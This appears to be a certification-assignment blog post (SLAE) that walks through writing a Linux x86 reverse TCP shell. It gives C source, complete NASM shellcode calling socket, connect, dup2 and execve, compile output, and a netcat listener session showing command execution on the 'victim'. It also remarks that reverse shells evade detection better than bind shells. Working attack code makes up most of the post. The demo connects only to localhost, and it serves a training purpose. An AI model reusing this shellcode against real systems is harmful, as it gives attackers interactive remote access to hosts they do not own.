Creating A Reverse Shell

8 minute read

A reverse shell is similar to the bind shell that was disussed in the previous blog post. Reverse shells, as with bind shells, allow remote access through a network, but rather than having a listening port on the target host, you have the target host connect back to an attack host that has a listener set up.

Reverse shells have multiple advantages to bind shells, particularly with evading detection and bypassing certain rule sets. Plus, having a port listening on a host that is not normal will, for the most part, trigger more alerts to system/network administrators. Whereas a reverse shell will just show up as a connection to an outside IP address,which will get caught less, especially with certain obfuscation techniques.

What a reverse shell looks like in C

As with the last blog post, let’s look at what a reverse shell looks like in C, to get a base template for what we need to achieve:

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>


int main () {

	const char* ip = "127.0.0.1";	
	struct sockaddr_in addr;


	addr.sin_family = AF_INET;
	addr.sin_port = htons(4444);
	inet_aton(ip, &addr.sin_addr);

	int sockfd = socket(AF_INET, SOCK_STREAM, 0);
	connect(sockfd, (struct sockadr *)&addr, sizeof(addr));

	for (int i = 0; i < 3;i++) {

		dup2(sockfd, i);
	}

	execve("/bin/sh", NULL, NULL);

	return 0;

}

This will more or less follow the same format and structure as the bind shell assignment, with a few new system calls (syscalls). See below the list of syscalls to be used in our shellcode:

  • socket
  • connect
  • dup2
  • execve

From the list, there are a few similar syscalls from the bind shell, but there are less overall than the bind. Let’s jump into creating shellcode based on this C program.

Creating the shellcode from the C program

The first set of instructions are similar to what was used in the bind shell, just clearing out any needed registers:

	; set needed registers to zero

	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx
	xor edx, edx

Next, the socket syscall will be initiated, as seen in the previous blog post

	mov bl, 2	; Setting AF_INET
	mov cl, 1	; Setting SOCK_STREAM
	mov dl, 6	; Setting protocol

	mov ax, 359	; syscall socket()

	int 0x80	; execute socket()

Following this, a new syscall will be set up, the connect() syscall. Using the methods found in the previous blog, the syscall value to use will be 362, and we need to give this syscall 3 variables. We will need to set up the address that the shellcode will connect to, in this case being 127.1.1.1 (which is a loopback address that doesn’t have any nulls in it, if nulls are present the shellcode breaks); the port that the shellcode will attempt to connect to on the supplied host, in this case being port 4444; and the type of socket connection being made (same as the socket syscall), in this case being AF_INET or the value of 2.

	mov ebx, eax	; Putting sockfd socket value into ebx
	push 0x0101017f	; Setting address to connect to as "127.1.1.1" onto the stack
	push word 0x5c11	; Setting the port to connect to as "4444" onto the stack
	push word 2		; Setting "AF_INET" onto the stack

As seen above, the variables are all placed on the stack, and next the address pointing to the top of the stack (esp) will be used as a variable so that all three variables will be used in order.

mov ecx, esp	; Put the memory address of the top of the stack into ecx, which will contain all the parameters needed for the connect syscall

After this, we need to set the sizeof(addr) variable. To get this value, we can use part of the C program at the top of this blog, see the snippet below:

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>



int main() {



	const char* ip = "127.1.1.1";
        struct sockaddr_in addr;

	printf("%d\n", sizeof(addr));
	return 0;




}

Then we compile using gcc test.c -o size and running ./test returns the value of 16

anubis@ubuntu:~/SLAE/Assignment_2$ gcc test.c -o test
anubis@ubuntu:~/SLAE/Assignment_2$ ./test
16
anubis@ubuntu:~/SLAE/Assignment_2$

So now loading the size of the IP address we will be connecting to, and the invoking the connet() syscall will finalize this part of the shellcode, as seen below:

	mov dl, 16	; Size of the IP address, found running test.c

	mov ax, 362	; sycall connect()

	int 0x80	; execute connect()

The following set of instructions will be familiar from the bind shellcode. This will set up the dup2() syscall loop. We do this so that it loads the 3 file descriptors (stdin, stdout, stderr), see below:

	xor ecx, ecx
	mov cl, 3	; Setting the counter to 3 (3 file descriptors as seen in Assignment 1)
	

	call_dup:
	
	xor eax, eax
	mov al, 63	; syscall dup2()
	dec ecx		; loop counter


	int 0x80	; execute dup2 each time

	inc ecx		; loop counter
	loop call_dup	; Actually loop

The last snippet of code will be the same as the bind shell as well, loading /bin//sh onto the stack backwards (due to the stack growing downwards, and adding the extra / to make it easier to manager hex values). See below the execution of execve() and the last bit of the shellcode:

``nasm xor eax, eax xor edx, edx push eax ; Zero out top of stack push 0x68732f2f ; Push the end of “/bin//sh” push 0x6e69622f ; Push the beginning of “/bin//sh”

mov ebx, esp	; Put the pointer of "/bin//sh" on the stack into ebx

mov al, 11	; sycall execve()

int 0x80 ```

Below is the final product of our shellcode:

global _start




section .text
	_start:

	; set needed registers to zero

	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx
	xor edx, edx



	; Start of socket call

	mov bl, 2	; Setting AF_INET
	mov cl, 1	; Setting SOCK_STREAM
	mov dl, 6	; Setting protocol

	mov ax, 359	; syscall socket()

	int 0x80	; execute socket()


	; Start of connect call

	mov ebx, eax	; Putting sockfd socket value into ebx
	push 0x0101017f	; Setting address to connect to as "127.0.0.1" onto the stack
	push word 0x5c11	; Setting the port to connect to as "4444" onto the stack
	push word 2		; Setting "AF_INET" onto the stack
	
	mov ecx, esp	; Put the memory address of the top of the stack into ecx, which will contain all the parameters needed for the connect syscall

	mov dl, 16	; Size of the IP address, found running test.c

	mov ax, 362	; sycall connect()

	int 0x80	; execute connect()




	; Start of dup2 looping call

	xor ecx, ecx
	mov cl, 3	; Setting the counter to 3 (3 file descriptors as seen in Assignment 1)
	

	call_dup:
	
	xor eax, eax
	mov al, 63	; syscall dup2()
	dec ecx		; loop counter


	int 0x80	; execute dup2 each time

	inc ecx		; loop counter
	loop call_dup	; Actually loop


	; Start of execve call
	xor eax, eax
	xor edx, edx	
	push eax	; Zero out top of stack
	push 0x68732f2f	; Push the end of "/bin//sh"
	push 0x6e69622f	; Push the beginning of "/bin//sh"

	mov ebx, esp	; Put the pointer of "/bin//sh" on the stack into ebx

	mov al, 11	; sycall execve()

	int 0x80

Executing reverse shell program

Now that we have our code set up, we compile it using the compile.sh program provided by the SLAE course.

anubis@ubuntu:~/SLAE/Assignment_2$ ls -al
total 32
drwxrwxr-x  2 anubis anubis 4096 Feb 24 21:45 .
drwxrwxr-x 10 anubis anubis 4096 Feb 18 01:53 ..
-rwxrwxr-x  1 anubis anubis  152 Feb 23 22:47 compile.sh
-rw-rw-r--  1 anubis anubis  484 Feb 23 21:25 reverse.c
-rw-rw-r--  1 anubis anubis 1476 Feb 23 23:37 reverse_tcp.nasm
-rwxrwxr-x  1 anubis anubis 7396 Feb 24 21:30 test
-rw-rw-r--  1 anubis anubis  242 Feb 24 21:29 test.c
anubis@ubuntu:~/SLAE/Assignment_2$ ./compile.sh reverse_tcp
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
anubis@ubuntu:~/SLAE/Assignment_2$ ls -al
total 40
drwxrwxr-x  2 anubis anubis 4096 Feb 24 21:45 .
drwxrwxr-x 10 anubis anubis 4096 Feb 18 01:53 ..
-rwxrwxr-x  1 anubis anubis  152 Feb 23 22:47 compile.sh
-rw-rw-r--  1 anubis anubis  484 Feb 23 21:25 reverse.c
-rwxrwxr-x  1 anubis anubis  620 Feb 24 21:45 reverse_tcp
-rw-rw-r--  1 anubis anubis 1476 Feb 23 23:37 reverse_tcp.nasm
-rw-rw-r--  1 anubis anubis  528 Feb 24 21:45 reverse_tcp.o
-rwxrwxr-x  1 anubis anubis 7396 Feb 24 21:30 test
-rw-rw-r--  1 anubis anubis  242 Feb 24 21:29 test.c
anubis@ubuntu:~/SLAE/Assignment_2$

Now we set up a listener in separate terminal, since this program will call back to 127.1.1.1 (localhost) on port 4444.

anubis@ubuntu:~/SLAE/Assignment_2$ nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)

Then we execute our reverse shell binary created from the compile.sh script.

anubis@ubuntu:~/SLAE/Assignment_2$ ./reverse_tcp

This won’t have any output right away from the victim host, since it’s effectively established a remote session. On our listener, we see that we have a connection coming from localhost.

anubis@ubuntu:~/SLAE/Assignment_2$ nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 57480)

And from our listener terminal, when we execute commands, they provide output on our target machine (again, which is localhost in this case).

anubis@ubuntu:~/SLAE/Assignment_2$ nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 57480)

id
uid=1000(anubis) gid=1000(anubis) groups=1000(anubis),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
whoami
anubis
ls
compile.sh
reverse.c
reverse_tcp
reverse_tcp.nasm
reverse_tcp.o
test
test.c

Great! This is now a prefectly interactive reverse shell on our victim. This wraps this blog post on assignment 2 for the SLAE certification! Up next will be creating an Egg Hunter! Look forward to that next up.


This blog post was created as per the requirements of the Security Tube Linux Assembly Expert certification.

Student ID: SLAE-1406

Please see https://github.com/AnubisSec/SLAE for all the source files mentioned on this site.

Updated: